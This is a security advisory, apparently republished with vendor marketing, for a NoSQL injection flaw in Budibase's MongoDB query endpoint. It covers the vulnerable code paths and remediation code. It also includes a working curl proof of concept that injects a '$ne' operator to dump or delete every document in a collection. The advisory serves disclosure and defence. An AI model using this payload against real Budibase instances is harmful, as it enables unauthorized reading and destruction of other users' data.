Summary
Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution
Budibase's MongoDB query execution endpoint (POST /api/v2/queries/:queryId) is vulnerable to NoSQL injection through user-supplied query parameters. The enrichContext() function interpolates parameter values into JSON query templates using Handlebars with noEscaping: true, then parses the result with JSON.parse(). An attacker can inject JSON metacharacters (", {, }) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.
Details
The vulnerability exists because input validation and interpolation are misaligned. The validateQueryInputs() function blocks Handlebars template syntax ({{}}) but does not sanitize JSON structural characters:
packages/server/src/api/controllers/query/index.ts:57-69
function validateQueryInputs(parameters: QueryEventParameters) {
for (let entry of Object.entries(parameters)) {
const [key, value] = entry
if (typeof value !== "string") {
continue
}
if (findHBSBlocks(value).length !== 0) {
throw new Error(
`Parameter '${key}' input contains a handlebars binding - this is not allowed.`
)
}
}
}
After validation passes, enrichContext() performs raw string interpolation with escaping explicitly disabled:
packages/server/src/sdk/workspace/queries/queries.ts:105-108
enrichedQuery[key] = processStringSync(fields[key], parameters, {
noEscaping: true,
noHelpers: true,
escapeNewlines: true,
})
The interpolated string is then parsed as JSON at line 122:
packages/server/src/sdk/workspace/queries/queries.ts:122
enrichedQuery.json = JSON.parse(
enrichedQuery.json ||
enrichedQuery.customData ||
enrichedQuery.requestBody
)
The parsed object flows directly into MongoDB driver calls with no further sanitization:
packages/server/src/integrations/mongodb.ts:509
return await collection.find(json).toArray()
packages/server/src/integrations/mongodb.ts:624
return await collection.deleteMany(json.filter, json.options)
Consider a saved query with a JSON template like {"username": "{{username}}"}. If an attacker provides the parameter value ", "$ne": " the interpolated string becomes {"username": "", "$ne": ""}, a valid JSON object that matches all documents where username is not empty, instead of matching a single specific user.
The route requires only PermissionType.QUERY, PermissionLevel.WRITE (packages/server/src/api/routes/query.ts:27), which is available to regular app users, not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.
PoC
Prerequisites: A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a find query with {"username": "{{username}}"}).
Step 1: Authenticate as a regular app user
TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"password"}' \
-c - | grep budibase:auth | awk '{print $NF}')
Step 2: Execute the query normally (returns only matching document)
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "alice"}}'
# Returns: [{"username": "alice", ...}]
Step 3: Inject NoSQL operator to dump all documents
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Returns: [{"username": "alice", ...}, {"username": "bob", ...}, {"username": "admin", ...}, ...]
The injected value ", "$ne": " transforms the query from {"username": "alice"} to {"username": "", "$ne": ""}, which matches all documents where username is not empty.
Step 4: Delete all documents via a delete query (if a delete-type query is saved)
curl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Deletes ALL documents matching the injected filter
Impact
- Data exfiltration: Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.
- Data modification: Through
updateManyqueries, attackers can modify arbitrary documents in bulk by injecting broadened filters. - Data destruction: Through
deleteManyqueries, attackers can delete all documents matching an injected filter, potentially wiping entire collections. - Authorization bypass: The attack requires only
QUERY WRITEpermission, which is a standard app-level permission, not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.
GHSA-QW6M-8FW2-2V64 has a CVSS score of 8.3 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
Sanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in enrichContext() before the processStringSync call:
packages/server/src/sdk/workspace/queries/queries.ts
// Add this helper function
function escapeJsonValue(value: string): string {
return value.replace(/\\/g, "\\\\").replace(/"/g, '\\"')
}
// In enrichContext(), sanitize parameters before interpolation
for (const [key, value] of Object.entries(parameters)) {
if (typeof value === "string") {
parameters[key] = escapeJsonValue(value)
}
}
Alternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.
Additionally, add Joi validation to the execute endpoint (POST /api/v2/queries/:queryId) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.
Frequently Asked Questions
- What is GHSA-QW6M-8FW2-2V64? GHSA-QW6M-8FW2-2V64 is a high-severity security vulnerability in @budibase/server (npm), affecting versions <= 3.38.1. No fixed version is listed yet.
- How severe is GHSA-QW6M-8FW2-2V64? GHSA-QW6M-8FW2-2V64 has a CVSS score of 8.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @budibase/server are affected by GHSA-QW6M-8FW2-2V64? @budibase/server (npm) versions <= 3.38.1 is affected.
- Is there a fix for GHSA-QW6M-8FW2-2V64? No fixed version is listed for GHSA-QW6M-8FW2-2V64 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is GHSA-QW6M-8FW2-2V64 exploitable, and should I be worried? Whether GHSA-QW6M-8FW2-2V64 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-QW6M-8FW2-2V64 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.